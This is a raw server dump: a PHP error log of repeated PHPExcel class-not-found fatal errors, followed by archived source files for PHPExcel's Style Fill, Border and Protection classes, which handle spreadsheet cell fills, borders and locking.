/home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [26-Jun-2024 03:56:42 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [26-Jun-2024 04:01:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [28-Jun-2024 05:57:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [28-Jun-2024 06:00:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [29-Jun-2024 01:51:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [29-Jun-2024 02:19:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [29-Jun-2024 02:19:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [29-Jun-2024 02:19:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [29-Jun-2024 02:19:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [29-Jun-2024 02:20:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [29-Jun-2024 02:20:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [29-Jun-2024 02:20:12 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [29-Jun-2024 02:20:16 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [29-Jun-2024 02:20:20 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [29-Jun-2024 02:59:37 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [29-Jun-2024 03:22:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [29-Jun-2024 04:07:41 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [29-Jun-2024 05:20:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [29-Jun-2024 05:41:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [29-Jun-2024 05:41:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [29-Jun-2024 07:15:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [29-Jun-2024 14:28:19 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [03-Jul-2024 18:05:11 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [03-Jul-2024 18:27:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [03-Jul-2024 19:46:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [03-Jul-2024 21:17:51 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_IComparable' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Conditional.php on line 36 [03-Jul-2024 23:04:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Color.php on line 28 [04-Jul-2024 00:16:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Fill.php on line 28 [04-Jul-2024 04:48:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [04-Jul-2024 05:07:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [04-Jul-2024 09:50:20 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [05-Jul-2024 13:56:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Border.php on line 28 [05-Jul-2024 14:29:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [05-Jul-2024 17:06:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [05-Jul-2024 19:14:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Protection.php on line 28 [05-Jul-2024 20:29:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [06-Jul-2024 05:54:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [06-Jul-2024 06:15:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Borders.php on line 28 [06-Jul-2024 11:18:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 [06-Jul-2024 19:05:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/NumberFormat.php on line 28 [06-Jul-2024 19:57:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [06-Jul-2024 21:05:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Font.php on line 28 [07-Jul-2024 03:03:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Style_Supervisor' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php:27 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Style/Alignment.php on line 27 PHPExcel/Style/Fill.php 0000644 00000023672 14642534111 0010666 0 ustar 00 <?php /** * PHPExcel_Style_Fill * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_Fill extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /* Fill types */ const FILL_NONE = 'none'; const FILL_SOLID = 'solid'; const FILL_GRADIENT_LINEAR = 'linear'; const FILL_GRADIENT_PATH = 'path'; const FILL_PATTERN_DARKDOWN = 'darkDown'; const FILL_PATTERN_DARKGRAY = 'darkGray'; const FILL_PATTERN_DARKGRID = 'darkGrid'; const FILL_PATTERN_DARKHORIZONTAL = 'darkHorizontal'; const FILL_PATTERN_DARKTRELLIS = 'darkTrellis'; const FILL_PATTERN_DARKUP = 'darkUp'; const FILL_PATTERN_DARKVERTICAL = 'darkVertical'; const FILL_PATTERN_GRAY0625 = 'gray0625'; const FILL_PATTERN_GRAY125 = 'gray125'; const FILL_PATTERN_LIGHTDOWN = 'lightDown'; const FILL_PATTERN_LIGHTGRAY = 'lightGray'; const FILL_PATTERN_LIGHTGRID = 'lightGrid'; const FILL_PATTERN_LIGHTHORIZONTAL = 'lightHorizontal'; const FILL_PATTERN_LIGHTTRELLIS = 'lightTrellis'; const FILL_PATTERN_LIGHTUP = 'lightUp'; const FILL_PATTERN_LIGHTVERTICAL = 'lightVertical'; const FILL_PATTERN_MEDIUMGRAY = 'mediumGray'; /** * Fill type * * @var string */ protected $fillType = PHPExcel_Style_Fill::FILL_NONE; /** * Rotation * * @var double */ protected $rotation = 0; /** * Start color * * @var PHPExcel_Style_Color */ protected $startColor; /** * End color * * @var PHPExcel_Style_Color */ protected $endColor; /** * Create a new PHPExcel_Style_Fill * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if ($isConditional) { $this->fillType = null; } $this->startColor = new PHPExcel_Style_Color(PHPExcel_Style_Color::COLOR_WHITE, $isSupervisor, $isConditional); $this->endColor = new PHPExcel_Style_Color(PHPExcel_Style_Color::COLOR_BLACK, $isSupervisor, $isConditional); // bind parent if we are a supervisor if ($isSupervisor) { $this->startColor->bindParent($this, 'startColor'); $this->endColor->bindParent($this, 'endColor'); } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_Fill */ public function getSharedComponent() { return $this->parent->getSharedComponent()->getFill(); } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { return array('fill' => $array); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getFill()->applyFromArray( * array( * 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR, * 'rotation' => 0, * 'startcolor' => array( * 'rgb' => '000000' * ), * 'endcolor' => array( * 'argb' => 'FFFFFFFF' * ) * ) * ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_Fill */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($pStyles)); } else { if (array_key_exists('type', $pStyles)) { $this->setFillType($pStyles['type']); } if (array_key_exists('rotation', $pStyles)) { $this->setRotation($pStyles['rotation']); } if (array_key_exists('startcolor', $pStyles)) { $this->getStartColor()->applyFromArray($pStyles['startcolor']); } if (array_key_exists('endcolor', $pStyles)) { $this->getEndColor()->applyFromArray($pStyles['endcolor']); } if (array_key_exists('color', $pStyles)) { $this->getStartColor()->applyFromArray($pStyles['color']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get Fill Type * * @return string */ public function getFillType() { if ($this->isSupervisor) { return $this->getSharedComponent()->getFillType(); } return $this->fillType; } /** * Set Fill Type * * @param string $pValue PHPExcel_Style_Fill fill type * @return PHPExcel_Style_Fill */ public function setFillType($pValue = PHPExcel_Style_Fill::FILL_NONE) { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('type' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->fillType = $pValue; } return $this; } /** * Get Rotation * * @return double */ public function getRotation() { if ($this->isSupervisor) { return $this->getSharedComponent()->getRotation(); } return $this->rotation; } /** * Set Rotation * * @param double $pValue * @return PHPExcel_Style_Fill */ public function setRotation($pValue = 0) { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('rotation' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->rotation = $pValue; } return $this; } /** * Get Start Color * * @return PHPExcel_Style_Color */ public function getStartColor() { return $this->startColor; } /** * Set Start Color * * @param PHPExcel_Style_Color $pValue * @throws PHPExcel_Exception * @return PHPExcel_Style_Fill */ public function setStartColor(PHPExcel_Style_Color $pValue = null) { // make sure parameter is a real color and not a supervisor $color = $pValue->getIsSupervisor() ? $pValue->getSharedComponent() : $pValue; if ($this->isSupervisor) { $styleArray = $this->getStartColor()->getStyleArray(array('argb' => $color->getARGB())); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->startColor = $color; } return $this; } /** * Get End Color * * @return PHPExcel_Style_Color */ public function getEndColor() { return $this->endColor; } /** * Set End Color * * @param PHPExcel_Style_Color $pValue * @throws PHPExcel_Exception * @return PHPExcel_Style_Fill */ public function setEndColor(PHPExcel_Style_Color $pValue = null) { // make sure parameter is a real color and not a supervisor $color = $pValue->getIsSupervisor() ? $pValue->getSharedComponent() : $pValue; if ($this->isSupervisor) { $styleArray = $this->getEndColor()->getStyleArray(array('argb' => $color->getARGB())); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->endColor = $color; } return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->getFillType() . $this->getRotation() . $this->getStartColor()->getHashCode() . $this->getEndColor()->getHashCode() . __CLASS__ ); } } PHPExcel/Style/Border.php 0000644 00000021472 14642534111 0011211 0 ustar 00 <?php /** * PHPExcel_Style_Border * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_Border extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /* Border style */ const BORDER_NONE = 'none'; const BORDER_DASHDOT = 'dashDot'; const BORDER_DASHDOTDOT = 'dashDotDot'; const BORDER_DASHED = 'dashed'; const BORDER_DOTTED = 'dotted'; const BORDER_DOUBLE = 'double'; const BORDER_HAIR = 'hair'; const BORDER_MEDIUM = 'medium'; const BORDER_MEDIUMDASHDOT = 'mediumDashDot'; const BORDER_MEDIUMDASHDOTDOT = 'mediumDashDotDot'; const BORDER_MEDIUMDASHED = 'mediumDashed'; const BORDER_SLANTDASHDOT = 'slantDashDot'; const BORDER_THICK = 'thick'; const BORDER_THIN = 'thin'; /** * Border style * * @var string */ protected $borderStyle = PHPExcel_Style_Border::BORDER_NONE; /** * Border color * * @var PHPExcel_Style_Color */ protected $color; /** * Parent property name * * @var string */ protected $parentPropertyName; /** * Create a new PHPExcel_Style_Border * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values $this->color = new PHPExcel_Style_Color(PHPExcel_Style_Color::COLOR_BLACK, $isSupervisor); // bind parent if we are a supervisor if ($isSupervisor) { $this->color->bindParent($this, 'color'); } } /** * Bind parent. Only used for supervisor * * @param PHPExcel_Style_Borders $parent * @param string $parentPropertyName * @return PHPExcel_Style_Border */ public function bindParent($parent, $parentPropertyName = null) { $this->parent = $parent; $this->parentPropertyName = $parentPropertyName; return $this; } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_Border * @throws PHPExcel_Exception */ public function getSharedComponent() { switch ($this->parentPropertyName) { case 'allBorders': case 'horizontal': case 'inside': case 'outline': case 'vertical': throw new PHPExcel_Exception('Cannot get shared component for a pseudo-border.'); break; case 'bottom': return $this->parent->getSharedComponent()->getBottom(); case 'diagonal': return $this->parent->getSharedComponent()->getDiagonal(); case 'left': return $this->parent->getSharedComponent()->getLeft(); case 'right': return $this->parent->getSharedComponent()->getRight(); case 'top': return $this->parent->getSharedComponent()->getTop(); } } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { switch ($this->parentPropertyName) { case 'allBorders': case 'bottom': case 'diagonal': case 'horizontal': case 'inside': case 'left': case 'outline': case 'right': case 'top': case 'vertical': $key = strtolower('vertical'); break; } return $this->parent->getStyleArray(array($key => $array)); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getBorders()->getTop()->applyFromArray( * array( * 'style' => PHPExcel_Style_Border::BORDER_DASHDOT, * 'color' => array( * 'rgb' => '808080' * ) * ) * ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_Border */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($pStyles)); } else { if (isset($pStyles['style'])) { $this->setBorderStyle($pStyles['style']); } if (isset($pStyles['color'])) { $this->getColor()->applyFromArray($pStyles['color']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get Border style * * @return string */ public function getBorderStyle() { if ($this->isSupervisor) { return $this->getSharedComponent()->getBorderStyle(); } return $this->borderStyle; } /** * Set Border style * * @param string|boolean $pValue * When passing a boolean, FALSE equates PHPExcel_Style_Border::BORDER_NONE * and TRUE to PHPExcel_Style_Border::BORDER_MEDIUM * @return PHPExcel_Style_Border */ public function setBorderStyle($pValue = PHPExcel_Style_Border::BORDER_NONE) { if (empty($pValue)) { $pValue = PHPExcel_Style_Border::BORDER_NONE; } elseif (is_bool($pValue) && $pValue) { $pValue = PHPExcel_Style_Border::BORDER_MEDIUM; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('style' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->borderStyle = $pValue; } return $this; } /** * Get Border Color * * @return PHPExcel_Style_Color */ public function getColor() { return $this->color; } /** * Set Border Color * * @param PHPExcel_Style_Color $pValue * @throws PHPExcel_Exception * @return PHPExcel_Style_Border */ public function setColor(PHPExcel_Style_Color $pValue = null) { // make sure parameter is a real color and not a supervisor $color = $pValue->getIsSupervisor() ? $pValue->getSharedComponent() : $pValue; if ($this->isSupervisor) { $styleArray = $this->getColor()->getStyleArray(array('argb' => $color->getARGB())); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->color = $color; } return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->borderStyle . $this->color->getHashCode() . __CLASS__ ); } } PHPExcel/Style/Protection.php 0000644 00000013452 14642534111 0012121 0 ustar 00 <?php /** * PHPExcel_Style_Protection * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Style * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Style_Protection extends PHPExcel_Style_Supervisor implements PHPExcel_IComparable { /** Protection styles */ const PROTECTION_INHERIT = 'inherit'; const PROTECTION_PROTECTED = 'protected'; const PROTECTION_UNPROTECTED = 'unprotected'; /** * Locked * * @var string */ protected $locked; /** * Hidden * * @var string */ protected $hidden; /** * Create a new PHPExcel_Style_Protection * * @param boolean $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param boolean $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct($isSupervisor = false, $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if (!$isConditional) { $this->locked = self::PROTECTION_INHERIT; $this->hidden = self::PROTECTION_INHERIT; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor * * @return PHPExcel_Style_Protection */ public function getSharedComponent() { return $this->parent->getSharedComponent()->getProtection(); } /** * Build style array from subcomponents * * @param array $array * @return array */ public function getStyleArray($array) { return array('protection' => $array); } /** * Apply styles from array * * <code> * $objPHPExcel->getActiveSheet()->getStyle('B2')->getLocked()->applyFromArray( * array( * 'locked' => TRUE, * 'hidden' => FALSE * ) * ); * </code> * * @param array $pStyles Array containing style information * @throws PHPExcel_Exception * @return PHPExcel_Style_Protection */ public function applyFromArray($pStyles = null) { if (is_array($pStyles)) { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($pStyles)); } else { if (isset($pStyles['locked'])) { $this->setLocked($pStyles['locked']); } if (isset($pStyles['hidden'])) { $this->setHidden($pStyles['hidden']); } } } else { throw new PHPExcel_Exception("Invalid style array passed."); } return $this; } /** * Get locked * * @return string */ public function getLocked() { if ($this->isSupervisor) { return $this->getSharedComponent()->getLocked(); } return $this->locked; } /** * Set locked * * @param string $pValue * @return PHPExcel_Style_Protection */ public function setLocked($pValue = self::PROTECTION_INHERIT) { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('locked' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->locked = $pValue; } return $this; } /** * Get hidden * * @return string */ public function getHidden() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHidden(); } return $this->hidden; } /** * Set hidden * * @param string $pValue * @return PHPExcel_Style_Protection */ public function setHidden($pValue = self::PROTECTION_INHERIT) { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(array('hidden' => $pValue)); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->hidden = $pValue; } return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->locked . $this->hidden . __CLASS__ ); } } 